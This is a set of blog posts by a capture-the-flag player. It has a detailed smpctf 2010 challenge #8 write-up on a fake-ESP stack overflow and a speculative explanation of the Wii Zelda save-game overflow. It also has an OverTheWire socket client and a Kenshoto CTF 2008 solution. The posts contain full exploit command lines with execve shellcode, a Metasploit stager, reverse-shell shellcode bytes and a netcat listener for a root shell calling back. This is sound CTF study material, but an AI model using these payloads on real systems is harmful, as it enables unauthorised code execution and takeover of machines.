Tuesday, July 13, 2010

smpctf 2010 challenge #8 write-up [RM]

Last weekend, Smpctf had a capture-the-flag type event, and I managed to snag challenge #8, which sadly was only worth 100 points, so I think there might have been a different way to solve this than the way I did it. There was a system(arg) call that we attempted to execute code on, but every time there was any code-execution, the privileges would bump us back out. And the EIP was not properly over writable, so I wound up using a phrack article on ESP/EBP owning.

Here's the explanation I put together right after I finished the challenge.




Explanation for Challenge 8

Here's how our main and callme functions decompiled in GDB

Dump of assembler code for function main:
0x08048521 : lea 0x4(%esp),%ecx
0x08048525 : and $0xfffffff0,%esp
0x08048528 : pushl -0x4(%ecx)
0x0804852b : push %ebp
0x0804852c : mov %esp,%ebp
0x0804852e : push %ecx
0x0804852f : sub $0x14,%esp
0x08048532 : mov %ecx,-0xc(%ebp)
0x08048535 : mov -0xc(%ebp),%eax
0x08048538 : cmpl $0x1,(%eax)
0x0804853b : jg 0x804855f
0x0804853d : mov -0xc(%ebp),%edx
0x08048540 : mov 0x4(%edx),%eax
0x08048543 : mov (%eax),%eax
0x08048545 : sub $0x8,%esp
0x08048548 : push %eax
0x08048549 : push $0x804865c
0x0804854e : call 0x80483b4
0x08048553 : add $0x10,%esp
0x08048556 : movl $0x0,-0x8(%ebp)
0x0804855d : jmp 0x804857d
0x0804855f : mov -0xc(%ebp),%edx
---Type to continue, or q to quit---
0x08048562 : mov 0x4(%edx),%eax
0x08048565 : add $0x4,%eax
0x08048568 : mov (%eax),%eax
0x0804856a : sub $0xc,%esp
0x0804856d : push %eax
0x0804856e : call 0x8048494
0x08048573 : add $0x10,%esp
0x08048576 : movl $0x0,-0x8(%ebp)
0x0804857d : mov -0x8(%ebp),%eax
0x08048580 : mov -0x4(%ebp),%ecx
0x08048583 : leave
0x08048584 : lea -0x4(%ecx),%esp
0x08048587 : ret

Dump of assembler code for function callme:
0x08048494 : push %ebp
0x08048495 : mov %esp,%ebp
0x08048497 : sub $0x118,%esp
0x0804849d : sub $0x4,%esp
0x080484a0 : push $0x103
0x080484a5 : push $0x8048650
0x080484aa : lea -0x104(%ebp),%eax
0x080484b0 : push %eax
0x080484b1 : call 0x8048374
0x080484b6 : add $0x10,%esp
0x080484b9 : sub $0x4,%esp
0x080484bc : push $0x103
0x080484c1 : pushl 0x8(%ebp)
0x080484c4 : lea -0x104(%ebp),%eax
0x080484ca : push %eax
0x080484cb : call 0x80483c4
0x080484d0 : add $0x10,%esp
0x080484d3 : lea -0x104(%ebp),%eax
0x080484d9 : mov (%eax),%al
0x080484db : test %al,%al
0x080484dd : je 0x80484f9
0x080484df : sub $0xc,%esp
---Type to continue, or q to quit---
0x080484e2 : lea -0x104(%ebp),%eax
0x080484e8 : push %eax
0x080484e9 : call 0x80483a4
0x080484ee : add $0x10,%esp
0x080484f1 : movb $0x0,-0x104(%ebp,%eax,1)
0x080484f9 : sub $0xc,%esp
0x080484fc : lea -0x104(%ebp),%eax
0x08048502 : push %eax
0x08048503 : call 0x8048364
0x08048508 : add $0x10,%esp
0x0804850b : test %eax,%eax
0x0804850d : jns 0x804851f
0x0804850f : sub $0xc,%esp
0x08048512 : push $0x8048658
0x08048517 : call 0x8048394
0x0804851c : add $0x10,%esp
0x0804851f : leave
0x08048520 : ret

So we know that this is taking in 7 characters for "ls -al ", then our filler in from arg[1]

Now, the initial guess is that we can modify the return EIP. However, after playing with it you can see that we can ONLY modify the last two characters, and turn the 3rd one into a '\0'. Now this is no good, we can't hit anything in 0x0804XXXX so we must modify something else. Also, if you take a look at what happens when you inject A's, you notice that the EBP and ESP are being overwritten. EBP and ESP BOTH become something totally wrong.

So lets take a look at this a little closer:

set a breakpoint at callme+60, so we can look at whats inside of %esp

(gdb) x/100x $esp
0xbffff2f0: 0xbffff314 0xbffff65a 0x00000103 0xbffff318
0xbffff300: 0xf63d4e2e 0xb7fd1000 0x07b1ea71 0x00000003
0xbffff310: 0xb7e74cfc 0x2d20736c 0x41206c61 0x41414141
0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff340: 0x41414141 0x00000041 0x00000000 0x00000000
0xbffff350: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff360: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff370: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff380: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff390: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff400: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff410: 0x00000000 0x00000000 0xbffff448 0x08048573
0xbffff420: 0xbffff65a 0x0804975c 0xbffff438 0x08048340
0xbffff430: 0xff0a0000 0x0804975c 0xbffff458 0xbffff460
0xbffff440: 0xb7fefec0 0xbffff460 0xbffff4b8 0xb7e876a5
0xbffff450: 0x080485a0 0x080483e0 0xbffff4b8 0xb7e876a5
0xbffff460: 0x00000002 0xbffff4e4 0xbffff4f0 0xb7fd12d8
0xbffff470: 0x00000001 0x00000001 0x00000000 0x08048279

We can see that 0x08048573 is sitting neatly at 0xbffff41c but we cannot overwrite it properly for a nice EIP return. But, that number next to it looks interesting when we continue onward. Set a breakpoint at *main+102 and take a look at our EBP. 0xbffff4b8, that looks an awful lot like the pointer from 0xbff418 (a number we CAN fully overwrite).

So now, pointers for stacks and EBP will definitely change based on how much input there is, so lets try 252 (the max before we hit the EBP) and take a look at what the EBP will become.

0xbffff220: 0xbffff244 0xbffff588 0x00000103 0xbffff248
0xbffff230: 0xf63d4e2e 0xb7fd1000 0x07b1ea71 0x00000003
0xbffff240: 0xb7e74cfc 0x2d20736c 0x41206c61 0x41414141
0xbffff250: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff260: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff310: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff340: 0x41414141 0x00414141 0xbffff378 0x08048573
0xbffff350: 0xbffff588 0x0804975c 0xbffff368 0x08048340
0xbffff360: 0xff0a0000 0x0804975c 0xbffff388 0xbffff390
0xbffff370: 0xb7fefec0 0xbffff390 0xbffff3e8 0xb7e876a5
0xbffff380: 0x080485a0 0x080483e0 0xbffff3e8 0xb7e876a5
0xbffff390: 0x00000002 0xbffff414 0xbffff420 0xb7fd12d8
0xbffff3a0: 0x00000001 0x00000001 0x00000000 0x08048279

We see the EBP is counting down, and its hit 0xbffff378. If we try 253 characters, we see this number changes to 0xbffff300, which is inside of our array! So if we change this to 253 and break at *main+102, lets take a look at what happens to our registers.

(gdb) i r
eax 0x0 0
ecx 0x41414141 1094795585
edx 0x0 0
ebx 0xb7fccff4 -1208168460
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0x80485a0 134514080
edi 0x80483e0 134513632
eip 0x8048587 0x8048587
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

Our EBP is 0x41414141, our ECX ix 0x41414141, and our ESP is 0x4141413d! This is important, as illustrated by the Phrack article: http://www.phrack.org/issues.html?id=8&issue=55 Because we can modify the ESP inside of Main, we can take over the EIP when Main leaves.

The reason why this works is a little complicate, ESP saves the [EIP] when entering a function, including main.

So for example, in callme, the ESP looks like this at the beginning:
[EIP]
[260 char]
[size of char]

So if we can modify the ESP of Main, we can add our own EIP for when Main returns, and have full control over the EIP.

So now, lets take a look at what we need to modify and how when we give it 253 characters:

[new ptr!]
0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff310: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff340: 0x41414141 0x41414141 0xbffff300 0x08048573
[ arg1 ] [ arg1 ] [ebp ptr ] [XreturnX]

So we can modify whats at 0xbffff300 inside of our buffer, and point it somewhere completely different. We are essentially making a fake ESP. However, this is not 100% correct because of the return in Main.

If you look at the assembly a bit, you'll notice that the EBP -> ESP when it returns, its actually offset by 4.

0x08048580 : mov -0x4(%ebp),%ecx
0x08048583 : leave
0x08048584 : lea -0x4(%ecx),%esp

That means we need to be 4 left of 0xbffff300! But we also don't want to munge the EBP, so taking a quick peek at it during a normal compilation, we'll see it comes out as 0xbffff3e8.

[nops+shell][shellcode pointer, EIP at top of stack][4 bytes of junk][new ESP][new ebp][filler to hit 253]

perl -e 'print "\x90"x169 . "\x50\xf2\xff\xbf" . "\x90"x4 . "\xf8\xf2\xff\xbf" . "\xe8\xf3\xff\xbf" . "E"x68'

So going right to left, 0xbffff300 will have our EBP without a munge, 0xbffff2f8 will be our new fake ESP, 0xbffff250 will be our new EIP +4 (remember the -4 on the LEA %ecx), and the rest will be our shell + nops. This part is tricky as the ESP still points partially into our buffer, so I've tried many combinations that DID NOT work here. However, 35 nops + 34 byte shell + 100 more NOPs seemed to behave happily.

Here's a quick memory dump when we finish our strcat..

0xbffff240: 0xb7e74cfc 0x2d20736c 0x90206c61 0x90909090
0xbffff250: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff260: 0x90909090 0x90909090 0x90909090 0x316a9090
0xbffff270: 0x80cd9958 0xc189c389 0xcd58466a 0x520bb080
0xbffff280: 0x732f6e68 0x2f2f6868 0xe3896962 0x80cdd189
0xbffff290: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2f0: 0x90909090 0xbffff250 0x90909090 0xbffff2f8
0xbffff300: 0xbffff3e8 0x45454545 0x45454545 0x45454545
0xbffff310: 0x45454545 0x45454545 0x45454545 0x45454545
0xbffff320: 0x45454545 0x45454545 0x45454545 0x45454545
0xbffff330: 0x45454545 0x45454545 0x45454545 0x45454545
0xbffff340: 0x45454545 0x45454545 0xbffff300 0x08048573

And here's what our registers will look like at *main+102, right before the return.

(gdb) i r
eax 0x0 0
ecx 0xbffff2f8 -1073745160 <---- our fake ESP+4 (written in our buffer)
edx 0x0 0
ebx 0xb7fccff4 -1208168460
esp 0xbffff2f4 0xbffff2f4 <---- our fake ESP
ebp 0xbffff3e8 0xbffff3e8 <---- our fake EBP for non-munging
esi 0x80485a0 134514080
edi 0x80483e0 134513632
eip 0x8048587 0x8048587
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

And lets take a look at what happens when we return out of main...

(gdb) break *0xbffff250
Breakpoint 3 at 0xbffff250
(gdb) c
Continuing.

Breakpoint 3, 0xbffff250 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0xbffff2f8 -1073745160
edx 0x0 0
ebx 0xb7fccff4 -1208168460
esp 0xbffff2f8 0xbffff2f8
ebp 0xbffff3e8 0xbffff3e8
esi 0x80485a0 134514080
edi 0x80483e0 134513632
eip 0xbffff250 0xbffff250 <--- sak le bleu! Fake ESP win!
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

Final Solution with a 34 length shell ( http://wwwashell-storm.org/shellcode/files/shellcode-399.php )
hax0r@gordo:/usr/smp/challenge8$ ./challenge8_bin `perl -e 'print "\x90"x35 . "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" . "\x90"x100 . "\x50\xf2\xff\xbf" . "\x90"x4 . "\xf8\xf2\xff\xbf" . "\xe8\xf3\xff\xbf" . "E"x68'`

Tuesday, June 24, 2008

Wii Stack Smashing Explanation

So there has been a lot of talk about the Zelda : Twilight Princess save hack that is floating around wiibrew, and not a lot of people actually understand what is going on here, and how simple the hack really is.

I will try to update this as I do more research, but this should make sense to those who follow Aleph1's smashing the stack for fun & profit.

The first thing that is needed to fill the buffer with "shellcode" like Aleph1 uses, is to grab the latest Devkitpro (http://www.devkitpro.org/) and start compiling your very own GC/Wii code via the libogc. Rummage through the examples until you get to the part where you can actually compile, then take a look at some of the DOL launcher sources out there (real source to come later.)

Once you have a successfully compiling piece of code, you'll need to rip the actual opcodes from the binary file to obtain what we will be needing to fill the buffer with. (explanation of how to do this also coming later.)

Now that you have the opcodes, double check for 0x00 so you don't wind up with an end of string error, and get ready to find the magic number that lets us overwrite into places of the forbidden.

So for example, in Zelda, when a dialogue box is popped up to say the horses name, it reads the save data into a buffer using a strcpy() (which its assuming is some magic number at this point), and puts that into our dialogue string. However, because we've hijacked the horse's name and are overloading it so that strcpy actually overflows into the next chunks of data in memory, we can take control of the EIP and start running our opcode we saved earlier.

So much like Aleph1's demonstration, we have [bogus nops][opcode][eip rewrite], the dialogue calls strcpy, hits the eip rewrite, jumps us back to our opcode, and we have full control. Power to the PPC!

Now this is speculation, I haven't actually coded this hack and I don't know how the Wii save compression/decompression works, so there could be some more complicated steps in this procedure. However, because this relies on a strcpy() on an invalid name, one could speculate that many games are vulnerable to this. Nintendo does not require a full security assessment when validating games, so it is very feasible that other Nintendo games & 3rd party games are equally vulnerable (any game that saves some sort of name, and later calls an unsafe strcpy.) I might go through my collection and see if I can come up with a list. If I can figure out how they are compressing the saves without an official NDEV kit, I'll try to post some of my findings.

**** Note about Wii Patch 3.3

So essentially the reason why this was broken so quickly was Nintendo literally introduced a kernel function that checks for a Zelda hack memory file (its like a more complicated md5/sig checker.) What they are supposed to do is introduce a stack protection scheme into the kernel, but could they do this without rewriting half of their kernel calls?? Probably not, and they don't want to spend the hundreds of thousands of dollars that would cost them just to prevent a few homebrewers from running their favorite software on the thing.

I believe the PS3 & Xbox 360 are both safe from this type of attack because of stack protection measures, they probably introduced this into the Xbox 360 early on just because its such a buggy system in the first place :) If I'm wrong on that one, please correct me! The PSP was 100% vulnerable, and you can see it with the Lumines & GTA exploit. There was also a common TIFF library exploit I believe it was, that allowed the < 2.00 psps from being cracked. But I'll leave that for another day :)

Wednesday, June 11, 2008

OverTheWire.org

Holy crap, I finally found a pretty decent root-this-box type of wargames site. I've done most of the Hackthissite.org challenges, they are decent but don't teach you the essentials in reversing. Even the application challenges are more about cracking rather than popping a shell. So while reading through a phrack article, there was a link to http://www.overthewire.org/ As it turns out, this is a pretty nice place to practice and learn, there are no tutorials, very minimal comments, and the challenges are damn tricky. I'm stuck on Level 3 currently, Level 2 was a huge "Oh DUH" Linux syntax thing. You have full access to their SSH, they run a pretty decent stack overflow prevention program, so most of the exploits you wind up doing are based on some if condition, or overwriting the frame or something. No EIP pwnage here, but still some pretty brutal challenges.

http://www.overthewire.org/node/399 if you get stuck on Level0 and need help. I tried writing this thing in Python, but with no luck. I had to make a few modifications to get this working with Winsock2 rather than Netdb, here's the code I used.



#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>

// Need to link with Ws2_32.lib, Mswsock.lib, and Advapi32.lib

#define DEFAULT_BUFLEN 37
#define PORT 5842
#define IP "69.55.233.89"

int main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct sockaddr_in s;
int a,b,c,d;
int x;
char xc[128];
char recvbuf[DEFAULT_BUFLEN];
int iResult;

// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed: %d\n", iResult);
return 1;
}

ConnectSocket = socket(PF_INET, SOCK_STREAM,0);
s.sin_family = AF_INET;
s.sin_port = htons(PORT);
s.sin_addr.s_addr = inet_addr(IP);

connect( ConnectSocket,(SOCKADDR*) &s, sizeof(s));

recv(ConnectSocket,(char*)&a,sizeof(unsigned int),0);
recv(ConnectSocket,(char*)&b,sizeof(unsigned int),0);
recv(ConnectSocket,(char*)&c,sizeof(unsigned int),0);
recv(ConnectSocket,(char*)&d,sizeof(unsigned int),0);

printf("A = %d, B = %d, C = %d, D = %d\n",a,b,c,d);

x = a+b+c+d;

printf("Sum=%i\n",x);

send(ConnectSocket,(const char*)&x,sizeof(int),0);

recv(ConnectSocket, recvbuf, DEFAULT_BUFLEN, 0);

printf("Answer = %s", recvbuf);

// cleanup
closesocket(ConnectSocket);
WSACleanup();

return 0;
}

Friday, June 6, 2008

Kenshoto CTF2008 pre-qual RealWorld200 Solution

Here was a problem that I had been working on with Evan (syn) at the CTF the other weekend, and I finally wrote up the solution into two scripts.

The first script uses the EAX found by setting a breakpoint at 0x8048d2f, this is "random" but has massive amounts of collisions when checked against multiple times via Evan's solution write up. So once you break here and check the value of EAX (also whats inside), you'll see your stack, and bingo you can rewrite the EIP and get a shell.

So after breaking here, I found the EAX to be at 0x08054600, so I could use this for my injection into the buffer.

However, because we're restricted to 64 bytes of shellcode space, I opted to use the 43 byte Metasploit Shellcode "bsd_ia32_reverse_stg", which opens up a port that accepts a new shellcode script of any size. So with both of these things in mind, I also filled the buffer with a small NOP sled, just in case I was off by 1, or the memory got close to this point and hit somewhere in the NOPs.

So now my connection string will look like <nop>
<shellcode><eip>, which looks like the following:

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x61\x58\x99\x52\x68
\x10\x02\x02\x9a\x89\xe1\x52\x42\x52\x42\x52\x6a\x10\xcd\x80\x99
\x93\x51\x53\x52\x6a\x68\x58\xcd\x80\xb0\x6a\xcd\x80\x52\x53\xb6
\x10\x52\xb0\x1e\xcd\x80\x51\x50\x51\x97\x6a\x03\x58\xcd\x80\xc3
\x00\x46\x05\x08


notice the EIP at the end is reverse, because its reading it in from lowest to highest when you overwrite the EIP. so \x00\x46\x05\x08 = 0x08054600, which is very important.

Now, run this a few times with a python script, and you should have a port on 666 waiting for a new shellcode.

Injecting the new shellcode is easy, I opted for a reverse bind shell that would give me /bin/sh, mostly because I didn't want to leave a port open on the box for other people to connect to.

Using Metasploits opcode generator, I created the following shellcode:

\x2b\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x25
\x7a\x72\xb3\x83\xeb\xfc\xe2\xf4\x4f\x1b\x2a\x2a\x77\x38\x20\xf1
\x77\x12\xde\xa3\x2d\x7b\xbf
\x33\x4d\x6a\x70\xaa\xaa\xf3\x93\xd9
\x35\x2b\x22\xe2\xb2\x10\x10
\xeb\xe8\xfa\x18\xb1\x7c\xca\x28\xe2
\x72\x2b\xbf\x33\x6c\x03\x84
\xe3\x4d\x55\x5d\xc0\x4d\x12\x5d\xd1
\x4c\x14\xfb\x50\x75\x2e\x21
\xe0\x95\x41\xbf\x33

This code will reverse connect to my IP (local NAT via VMware for now) on port 667, and give me a full access /bin/sh!

So using a shell on my local machine, I setup a netcat to listen via: nc -vvnlp 667 send off my new shellcode to port 666, and with any luck receive a connection on the Netcat, which means I now have owned this box, full root privileges, and am ready to grab the key for the challenge!

Here are some useful links if you want to try it out for yourself (you'll need to modify the shell-script for your desired ports/IPs):
http://www.nopsr.us/ctf2008qual/ - questions
http://www.metasploit.com/shellcode/bsd/ - nice shellcode generators for BSD
http://cthulhu32.kraln.com/ctf2k8/200rwstage1.py - my first script, I run it 300 times to ensure a 666 port
http://cthulhu32.kraln.com/ctf2k8/200rwstage2.py - my second script, connects back to 172.16.8.1 on port 667.
http://syndrowm.com/ctf2008qual/rw200-writeup.txt - Evan's writeup to the problem (he doesn't disclose the EAX location, and my scripts are entirely based on his little connector script.)

The binaries should be posted on Nopsr.us soon, if they don't get them up in the next few days I'll throw Real-World 200 up.

Opening to a blog